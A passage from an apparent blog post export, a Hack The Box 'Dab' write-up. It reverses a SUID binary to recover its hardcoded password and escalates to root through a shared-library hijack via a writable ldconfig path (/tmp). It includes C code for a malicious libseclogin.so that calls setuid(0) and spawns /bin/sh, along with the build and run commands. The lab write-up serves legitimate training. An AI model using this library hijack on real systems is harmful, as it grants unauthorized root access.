0x4008b4\n|       |   0x004008a3      bf8a094000     mov edi, str.Invalid_password ; 0x40098a ; &quot;Invalid password\\n&quot; ; const char *s\n|       |   0x004008a8      e813feffff     call sym.imp.puts           ; int puts(const char *s)\n|       |   0x004008ad      b801000000     mov eax, 1\n|      ,==&lt; 0x004008b2      eb19           jmp 0x4008cd\n|      ||   ; CODE XREF from main (0x4008a1)\n|      |`-&gt; 0x004008b4      bf9c094000     mov edi, str.Password_is_correct ; 0x40099c ; &quot;Password is correct\\n&quot; ; const char *s\n|      |    0x004008b9      e802feffff     call sym.imp.puts           ; int puts(const char *s)\n|      |    0x004008be      b800000000     mov eax, 0\n|      |    0x004008c3      e828feffff     call sym.imp.seclogin\n|      |    0x004008c8      b800000000     mov eax, 0\n|      |    ; CODE XREF from main (0x4008b2)\n|      `--&gt; 0x004008cd      488b4df8       mov rcx, qword &#x5B;canary]\n|           0x004008d1      6448330c2528.  xor rcx, qword fs:&#x5B;0x28]\n|       ,=&lt; 0x004008da      7405           je 0x4008e1\n|       |   0x004008dc      e8effdffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)\n|       |   ; CODE XREF from main (0x4008da)\n|       `-&gt; 0x004008e1      c9             leave\n\\           0x004008e2      c3             ret\n&#x5B;0x00400740]&gt; \n\n<\/pre><\/div>\n\n<p>At first the string <code>\"Enter password: \"<\/code> is printed:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n|           0x00400862      bf74094000     mov edi, str.Enter_password: ; 0x400974 ; &quot;Enter password: &quot; ; const char *format\n|           0x00400867      b800000000     mov eax, 0\n|           0x0040086c      e86ffeffff     call sym.imp.printf         ; int printf(const char *format)\n\n\n<\/pre><\/div>\n\n<p>Then a string with a maximum length of 63 bytes is read from stdin:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n|           0x00400878      bf85094000     mov edi, str.63s            ; 0x400985 ; &quot;%63s&quot; ; const char *format\n|           0x0040087d      b800000000     mov eax, 0\n|           0x00400882      e899feffff     call sym.imp.__isoc99_scanf ; int scanf(const char *format)\n\n<\/pre><\/div>\n\n<p>After this the entered string (stored in <code>s2<\/code>) is compared to a string stored in <code>s1<\/code>:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1]; title: ; notranslate\" title=\"\">\n|           0x00400887      488d55b0       lea rdx, qword &#x5B;s2]\n|           0x0040088b      488d45a0       lea rax, qword &#x5B;s1]\n|           0x0040088f      4889d6         mov rsi, rdx                ; const char *s2\n|           0x00400892      4889c7         mov rdi, rax                ; const char *s1\n|           0x00400895      e876feffff     call sym.imp.strcmp         ; int strcmp(const char *s1, const char *s2)\n\n<\/pre><\/div>\n\n<p>If the strings are not equal, <code>\"Invalid password\"<\/code> is printed:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n|       |   0x004008a3      bf8a094000     mov edi, str.Invalid_password ; 0x40098a ; &quot;Invalid password\\n&quot; ; const char *s\n|       |   0x004008a8      e813feffff     call sym.imp.puts           ; int puts(const char *s)\n\n<\/pre><\/div>\n\n<p>I<\/p>\n<p>If the strings <b>are<\/b> equal, <code>\"Password is correct\"<\/code> is printed and the function <code>seclogin<\/code> is called:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n|      |`-&gt; 0x004008b4      bf9c094000     mov edi, str.Password_is_correct ; 0x40099c ; &quot;Password is correct\\n&quot; ; const char *s\n|      |    0x004008b9      e802feffff     call sym.imp.puts           ; int puts(const char *s)\n|      |    0x004008be      b800000000     mov eax, 0\n|      |    0x004008c3      e828feffff     call sym.imp.seclogin\n\n<\/pre><\/div>\n\n<h3 id=\"libseclogin\">libseclogin.so<\/h3>\n<p>The function <code>seclogin<\/code> is defined in an additional shared library:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,3]; title: ; notranslate\" title=\"\">\ngenevieve@dab:~$ ldd \/usr\/bin\/myexec \n\tlinux-vdso.so.1 =&gt;  (0x00007ffc4b767000)\n\tlibseclogin.so =&gt; \/usr\/lib\/libseclogin.so (0x00007fa492368000)\n\tlibc.so.6 =&gt; \/lib\/x86_64-linux-gnu\/libc.so.6 (0x00007fa491f9e000)\n\t\/lib64\/ld-linux-x86-64.so.2 (0x00007fa49256a000)\n\n<\/pre><\/div>\n\n<p>We download this shared library to our attacker machine, too:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/htb\/boxes\/dab# scp genevieve@10.10.10.86:\/usr\/lib\/libseclogin.so .\ngenevieve@10.10.10.86&#039;s password: \nlibseclogin.so                                                                                          100% 8120   384.8KB\/s   00:00    \n\n<\/pre><\/div>\n\n<p>And disassemble the function using <code>radare2<\/code>:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,8,20]; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/htb\/boxes\/dab# r2 -A libseclogin.so \n&#x5B;x] Analyze all flags starting with sym. and entry0 (aa)\n&#x5B;x] Analyze function calls (aac)\n&#x5B;x] Analyze len bytes of instructions for references (aar)\n&#x5B;x] Constructing a function name for fcn.* and sym.func.* functions (aan)\n&#x5B;x] Type matching analysis for all functions (afta)\n&#x5B;x] Use -AA or aaaa to perform additional experimental analysis.\n&#x5B;0x000005a0]&gt; afl\n0x00000000    4 67   -&gt; 68   sym.imp.__cxa_finalize\n0x00000548    3 26           sym._init\n0x00000580    1 6            sym.imp.puts\n0x00000590    1 6            sub.__gmon_start_590\n0x00000598    1 6            sub.__cxa_finalize_598\n0x000005a0    4 50   -&gt; 44   entry0\n0x000005e0    4 66   -&gt; 57   sym.register_tm_clones\n0x00000630    5 50           sym.__do_global_dtors_aux\n0x00000670    4 48   -&gt; 42   entry1.init\n0x000006a0    1 35           sym.seclogin\n0x000006c4    1 9            sym._fini\n&#x5B;0x000005a0]&gt; pdf @ sym.seclogin \n\/ (fcn) sym.seclogin 35\n|   sym.seclogin ();\n|           0x000006a0      55             push rbp\n|           0x000006a1      4889e5         mov rbp, rsp\n|           0x000006a4      488d3d250000.  lea rdi, qword str.seclogin___called ; section..rodata ; 0x6d0 ; &quot;seclogin() called&quot; ; const char *s\n|           0x000006ab      e8d0feffff     call sym.imp.puts           ; int puts(const char *s)\n|           0x000006b0      488d3d310000.  lea rdi, qword str.TODO:_Placeholder_for_now__function_not_implemented_yet ; 0x6e8 ; &quot;TODO: Placeholder for now, function not implemented yet&quot; ; const char *s\n|           0x000006b7      e8c4feffff     call sym.imp.puts           ; int puts(const char *s)\n|           0x000006bc      b800000000     mov eax, 0\n|           0x000006c1      5d             pop rbp\n\\           0x000006c2      c3             ret\n\n<\/pre><\/div>\n\n<p>The function merely prints the string <code>\"TODO: Placeholder for now, function not implemented yet\"<\/code>.<\/p>\n<p>Since the <code>myexec<\/code> binary has the SUID bit enabled, the function is called with root privileges. If we find a way to replace it with our own code, we get root access.<\/p>\n<h3 id=\"password\">myexec&#8217;s password<\/h3>\n<p>At first we need to determine the password, which must be entered to call the function <code>seclogin<\/code>. This can be done by statically analyzing the disassembly (reversing) or by simply debugging it dynamically setting a breakpoint on the <code>strcmp<\/code> call. Let&#8217;s start with the static approach and review the disassembly of the <code>main<\/code> function:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n|           0x0040084d      48b873336375.  movabs rax, 0x306c337275633373 ; &#039;s3cur3l0&#039;\n|           0x00400857      488945a0       mov qword &#x5B;s1], rax\n|           0x0040085b      c745a867316e.  mov dword &#x5B;local_58h], 0x6e3167 ; &#039;g1n&#039;\n\n<\/pre><\/div>\n\n<p>We already know, that the string we enter is stored in <code>s2<\/code> and that this string is compared to <code>s1<\/code>. In the above disassmbly, we see what <code>s1<\/code> is set to. The first 8 bytes are set to <code>\"s3cur3l0\"<\/code> as radare2 already displays at the right side beneath the <code>movabs<\/code> instruction. The address <code>local_58h<\/code> is right behind those 8 bytes, where the additional 3 bytes <code>\"g1n\"<\/code> are stored. Thus the whole string stored in <code>s1<\/code> simply is: <code>\"s3cur3l0g1n\"<\/code>.<\/p>\n<p>This was not that complicated, but just for the sake of completeness let&#8217;s also do the dynamic approach using <code>gdb<\/code>. In order to grant <code>gdb<\/code> access to the shared library we must first set the environment variable <code>LD_LIBRARY_PATH<\/code> to our current directory, where the shared library is stored:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,17]; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/htb\/boxes\/dab# gdb .\/myexec \nGNU gdb (Debian 8.1-4+b1) 8.1\nCopyright (C) 2018 Free Software Foundation, Inc.\nLicense GPLv3+: GNU GPL version 3 or later &lt;http:\/\/gnu.org\/licenses\/gpl.html&gt;\nThis is free software: you are free to change and redistribute it.\nThere is NO WARRANTY, to the extent permitted by law.  Type &quot;show copying&quot;\nand &quot;show warranty&quot; for details.\nThis GDB was configured as &quot;x86_64-linux-gnu&quot;.\nType &quot;show configuration&quot; for configuration details.\nFor bug reporting instructions, please see:\n&lt;http:\/\/www.gnu.org\/software\/gdb\/bugs\/&gt;.\nFind the GDB manual and other documentation resources online at:\n&lt;http:\/\/www.gnu.org\/software\/gdb\/documentation\/&gt;.\nFor help, type &quot;help&quot;.\nType &quot;apropos word&quot; to search for commands related to &quot;word&quot;...\nReading symbols from .\/myexec...(no debugging symbols found)...done.\ngdb-peda$ set env LD_LIBRARY_PATH .\ngdb-peda$ \n\n<\/pre><\/div>\n\n<p>Then we can simply set a breakpoint on the call to <code>strcmp<\/code>, run the program and enter something for the password:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,24,44,46,48,73,79]; title: ; notranslate\" title=\"\">\ngdb-peda$ disassemble main\nDump of assembler code for function main:\n   0x0000000000400836 &lt;+0&gt;:\tpush   rbp\n   0x0000000000400837 &lt;+1&gt;:\tmov    rbp,rsp\n   0x000000000040083a &lt;+4&gt;:\tsub    rsp,0x70\n   0x000000000040083e &lt;+8&gt;:\tmov    rax,QWORD PTR fs:0x28\n   0x0000000000400847 &lt;+17&gt;:\tmov    QWORD PTR &#x5B;rbp-0x8],rax\n   0x000000000040084b &lt;+21&gt;:\txor    eax,eax\n   0x000000000040084d &lt;+23&gt;:\tmovabs rax,0x306c337275633373\n   0x0000000000400857 &lt;+33&gt;:\tmov    QWORD PTR &#x5B;rbp-0x60],rax\n   0x000000000040085b &lt;+37&gt;:\tmov    DWORD PTR &#x5B;rbp-0x58],0x6e3167\n   0x0000000000400862 &lt;+44&gt;:\tmov    edi,0x400974\n   0x0000000000400867 &lt;+49&gt;:\tmov    eax,0x0\n   0x000000000040086c &lt;+54&gt;:\tcall   0x4006e0 &lt;printf@plt&gt;\n   0x0000000000400871 &lt;+59&gt;:\tlea    rax,&#x5B;rbp-0x50]\n   0x0000000000400875 &lt;+63&gt;:\tmov    rsi,rax\n   0x0000000000400878 &lt;+66&gt;:\tmov    edi,0x400985\n   0x000000000040087d &lt;+71&gt;:\tmov    eax,0x0\n   0x0000000000400882 &lt;+76&gt;:\tcall   0x400720 &lt;__isoc99_scanf@plt&gt;\n   0x0000000000400887 &lt;+81&gt;:\tlea    rdx,&#x5B;rbp-0x50]\n   0x000000000040088b &lt;+85&gt;:\tlea    rax,&#x5B;rbp-0x60]\n   0x000000000040088f &lt;+89&gt;:\tmov    rsi,rdx\n   0x0000000000400892 &lt;+92&gt;:\tmov    rdi,rax\n   0x0000000000400895 &lt;+95&gt;:\tcall   0x400710 &lt;strcmp@plt&gt;\n   0x000000000040089a &lt;+100&gt;:\tmov    DWORD PTR &#x5B;rbp-0x64],eax\n   0x000000000040089d &lt;+103&gt;:\tcmp    DWORD PTR &#x5B;rbp-0x64],0x0\n   0x00000000004008a1 &lt;+107&gt;:\tje     0x4008b4 &lt;main+126&gt;\n   0x00000000004008a3 &lt;+109&gt;:\tmov    edi,0x40098a\n   0x00000000004008a8 &lt;+114&gt;:\tcall   0x4006c0 &lt;puts@plt&gt;\n   0x00000000004008ad &lt;+119&gt;:\tmov    eax,0x1\n   0x00000000004008b2 &lt;+124&gt;:\tjmp    0x4008cd &lt;main+151&gt;\n   0x00000000004008b4 &lt;+126&gt;:\tmov    edi,0x40099c\n   0x00000000004008b9 &lt;+131&gt;:\tcall   0x4006c0 &lt;puts@plt&gt;\n   0x00000000004008be &lt;+136&gt;:\tmov    eax,0x0\n   0x00000000004008c3 &lt;+141&gt;:\tcall   0x4006f0 &lt;seclogin@plt&gt;\n   0x00000000004008c8 &lt;+146&gt;:\tmov    eax,0x0\n   0x00000000004008cd &lt;+151&gt;:\tmov    rcx,QWORD PTR &#x5B;rbp-0x8]\n   0x00000000004008d1 &lt;+155&gt;:\txor    rcx,QWORD PTR fs:0x28\n   0x00000000004008da &lt;+164&gt;:\tje     0x4008e1 &lt;main+171&gt;\n   0x00000000004008dc &lt;+166&gt;:\tcall   0x4006d0 &lt;__stack_chk_fail@plt&gt;\n   0x00000000004008e1 &lt;+171&gt;:\tleave  \n   0x00000000004008e2 &lt;+172&gt;:\tret    \nEnd of assembler dump.\ngdb-peda$ b *main+95\nBreakpoint 1 at 0x400895\ngdb-peda$ r\nStarting program: \/root\/Documents\/htb\/boxes\/dab\/myexec \nEnter password: test\n\n&#x5B;----------------------------------registers-----------------------------------]\nRAX: 0x7fff8b3fa420 (&quot;s3cur3l0g1n&quot;)\nRBX: 0x0 \nRCX: 0x0 \nRDX: 0x7fff8b3fa430 --&gt; 0x74736574 (&#039;test&#039;)\nRSI: 0x7fff8b3fa430 --&gt; 0x74736574 (&#039;test&#039;)\nRDI: 0x7fff8b3fa420 (&quot;s3cur3l0g1n&quot;)\nRBP: 0x7fff8b3fa480 --&gt; 0x4008f0 (&lt;__libc_csu_init&gt;:\tpush   r15)\nRSP: 0x7fff8b3fa410 --&gt; 0x0 \nRIP: 0x400895 (&lt;main+95&gt;:\tcall   0x400710 &lt;strcmp@plt&gt;)\nR8 : 0x0 \nR9 : 0xa (&#039;\\n&#039;)\nR10: 0x0 \nR11: 0x246 \nR12: 0x400740 (&lt;_start&gt;:\txor    ebp,ebp)\nR13: 0x7fff8b3fa560 --&gt; 0x1 \nR14: 0x0 \nR15: 0x0\nEFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)\n&#x5B;-------------------------------------code-------------------------------------]\n   0x40088b &lt;main+85&gt;:\tlea    rax,&#x5B;rbp-0x60]\n   0x40088f &lt;main+89&gt;:\tmov    rsi,rdx\n   0x400892 &lt;main+92&gt;:\tmov    rdi,rax\n=&gt; 0x400895 &lt;main+95&gt;:\tcall   0x400710 &lt;strcmp@plt&gt;\n   0x40089a &lt;main+100&gt;:\tmov    DWORD PTR &#x5B;rbp-0x64],eax\n   0x40089d &lt;main+103&gt;:\tcmp    DWORD PTR &#x5B;rbp-0x64],0x0\n   0x4008a1 &lt;main+107&gt;:\tje     0x4008b4 &lt;main+126&gt;\n   0x4008a3 &lt;main+109&gt;:\tmov    edi,0x40098a\nGuessed arguments:\narg&#x5B;0]: 0x7fff8b3fa420 (&quot;s3cur3l0g1n&quot;)\narg&#x5B;1]: 0x7fff8b3fa430 --&gt; 0x74736574 (&#039;test&#039;)\narg&#x5B;2]: 0x7fff8b3fa430 --&gt; 0x74736574 (&#039;test&#039;)\n&#x5B;------------------------------------stack-------------------------------------]\n0000| 0x7fff8b3fa410 --&gt; 0x0 \n0008| 0x7fff8b3fa418 --&gt; 0x0 \n0016| 0x7fff8b3fa420 (&quot;s3cur3l0g1n&quot;)\n0024| 0x7fff8b3fa428 --&gt; 0x6e3167 (&#039;g1n&#039;)\n0032| 0x7fff8b3fa430 --&gt; 0x74736574 (&#039;test&#039;)\n0040| 0x7fff8b3fa438 --&gt; 0x0 \n0048| 0x7fff8b3fa440 --&gt; 0x1 \n0056| 0x7fff8b3fa448 --&gt; 0x40093d (&lt;__libc_csu_init+77&gt;:\tadd    rbx,0x1)\n&#x5B;------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n\nBreakpoint 1, 0x0000000000400895 in main ()\ngdb-peda$ \n\n<\/pre><\/div>\n\n<p>As we can see in the arguments, the string which is compared to our input is <code>\"s3cur3l0g1n\"<\/code>.<\/p>\n<p>Now we can verify the password on the target machine:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,2]; title: ; notranslate\" title=\"\">\ngenevieve@dab:~$ myexec \nEnter password: s3cur3l0g1n\nPassword is correct\n\nseclogin() called\nTODO: Placeholder for now, function not implemented yet\n\n<\/pre><\/div>\n\n<p>The password is actually working and the function <code>seclogin<\/code> is called printing the TODO message.<\/p>\n<h3 id=\"ldconfig\">ldconfig<\/h3>\n<p>Our next task is to somehow replace this function with our own one. How can we do this? We have already noticed that the SUID bit of <code>ldconfig<\/code> is set. Let&#8217;s have a look at the manpage of <code>ldconfig<\/code>:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [4,12,13]; title: ; notranslate\" title=\"\">\nLDCONFIG(8)                         Linux Programmer&#039;s Manual                         LDCONFIG(8)\n\nNAME\n       ldconfig - configure dynamic linker run-time bindings\n\nSYNOPSIS\n       \/sbin\/ldconfig &#x5B; -nNvXV ] &#x5B; -f conf ] &#x5B; -C cache ] &#x5B; -r root ] directory ...\n       \/sbin\/ldconfig -l &#x5B; -v ] library ...\n       \/sbin\/ldconfig -p\n\nDESCRIPTION\n       ldconfig  creates  the necessary links and cache to the most recent shared libraries found\n       in the directories specified on the command line, in the file \/etc\/ld.so.conf, and in  the\n       trusted  directories,  \/lib and \/usr\/lib (on some 64-bit architectures such as x86-64, lib\n       and \/usr\/lib are the trusted directories for 32-bit libraries, while \/lib64 and \/usr\/lib64\n       are used for 64-bit libraries).\n\n...\n\n<\/pre><\/div>\n\n<p>So <code>ldconfig<\/code> is actually responsible for determining which shared library is used. The man page also states that the file <code>\/etc\/ld.so.conf<\/code> is used to specify directories for shared libraries. Let&#8217;s have a look at this file:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,4,7]; title: ; notranslate\" title=\"\">\ngenevieve@dab:~$ cat \/etc\/ld.so.conf\ninclude \/etc\/ld.so.conf.d\/*.conf\n\ngenevieve@dab:~$ ls -al \/etc\/ld.so.conf.d\/*.conf\n-rw-rw-r-- 1 root root 38 Nov 24  2014 \/etc\/ld.so.conf.d\/fakeroot-x86_64-linux-gnu.conf\n-rw-r--r-- 1 root root 44 Jan 27  2016 \/etc\/ld.so.conf.d\/libc.conf\n-rw-r--r-- 1 root root  5 Mar 25  2018 \/etc\/ld.so.conf.d\/test.conf\n-rw-r--r-- 1 root root 68 Apr 14  2016 \/etc\/ld.so.conf.d\/x86_64-linux-gnu.conf\n\n<\/pre><\/div>\n\n<p>The file itself only includes all <code>*.conf<\/code> files within <code>\/etc\/ld.so.conf.d\/<\/code>. In this directory is a file called <code>test.conf<\/code> which surely is no default file:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\ngenevieve@dab:~$ cat \/etc\/ld.so.conf.d\/test.conf \n\/tmp\n\n<\/pre><\/div>\n\n<p>The file contains the directory <code>\/tmp<\/code> which means that <code>ldconfig<\/code> is caching libraries stored in <code>\/tmp<\/code>! Since we can write to <code>\/tmp<\/code> we can store our own shared library there, run <code>ldconfig<\/code> and then execute <code>myexec<\/code> again. This time it will load our library and run our own code.<\/p>\n<h3 id=\"sharedlibrary\">Compile own shared Library<\/h3>\n<p>Since <code>gcc<\/code> is on the target machine, we can compile a shared library directly on it:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,11,12]; title: ; notranslate\" title=\"\">\ngenevieve@dab:\/tmp\/.tmp$ cat libseclogin.c\n#include &lt;stdlib.h&gt;\n#include &lt;unistd.h&gt;\n\nvoid seclogin(void) {\n  setgid(0);\n  setuid(0);\n  system(&quot;\/bin\/sh&quot;);\n}\n\ngenevieve@dab:\/tmp\/.tmp$ gcc -c -fpic libseclogin.c \ngenevieve@dab:\/tmp\/.tmp$ gcc -shared -o libseclogin.so libseclogin.o\n\n<\/pre><\/div>\n\n<p>The file <code>libseclogin.c<\/code> only contains the single function <code>seclogin<\/code>, which calls <code>system<\/code> to spawn a shell. Beforehand <code>setgid<\/code> and <code>setuid<\/code> is called with the argument 0 to set the <code>GID<\/code> and <code>UID<\/code>, as we otherwise would only spawn a shell as our current user. This file needs to be compiled as position indepedent code (option <code>-fpic<\/code>) and then linked to a shared library using the option <code>-shared<\/code>.<\/p>\n<p>Now we can copy our shared library to <code>\/tmp<\/code>, run <code>ldconfig<\/code> to cache our library and then run <code>myexec<\/code>:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\ngenevieve@dab:\/tmp\/.tmp$ mv libseclogin.so \/tmp\ngenevieve@dab:\/tmp\/.tmp$ ldconfig\ngenevieve@dab:\/tmp\/.tmp$ myexec\nEnter password: s3cur3l0g1n\nPassword is correct\n\n# id\nuid=0(root) gid=0(root) groups=0(root),1000(genevieve)\n# cat \/root\/root.txt\n45cd...\n\n<\/pre><\/div>\n\n<p>We successfully spawned a shell as root and can read the flag file <code>root.txt<\/code> \ud83d\ude42<\/p>\n<p>That&#8217;s it. Thanks for reading the article.<\/p>","protected":false},"excerpt":{"rendered":"<p>This article contains my first writeup on a machine from Hack The Box. If you have not checked out Hack The Box yet, I really suggest you do. Aside from providing classical CTF-style challenges, the plattform hosts plenty of vulnerable machines (boxes), which are supposed to be exploited. The boxes tend to be geared to &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/devel0pment.de\/?p=1136\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Hack The Box &#8211; Dab&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[32],"tags":[8,9,13,18,35,34,33,11,36],"class_list":["post-1136","post","type-post","status-publish","format-standard","hentry","category-hack-the-box","tag-assembly","tag-binary","tag-elf","tag-gdb","tag-memcached","tag-mysql","tag-pentesting","tag-r2","tag-wfuzz"],"_links":{"self":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/1136"}],"collection":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1136"}],"version-history":[{"count":31,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/1136\/revisions"}],"predecessor-version":[{"id":1177,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/1136\/revisions\/1177"}],"wp:attachment":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1136"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1136"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1136"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}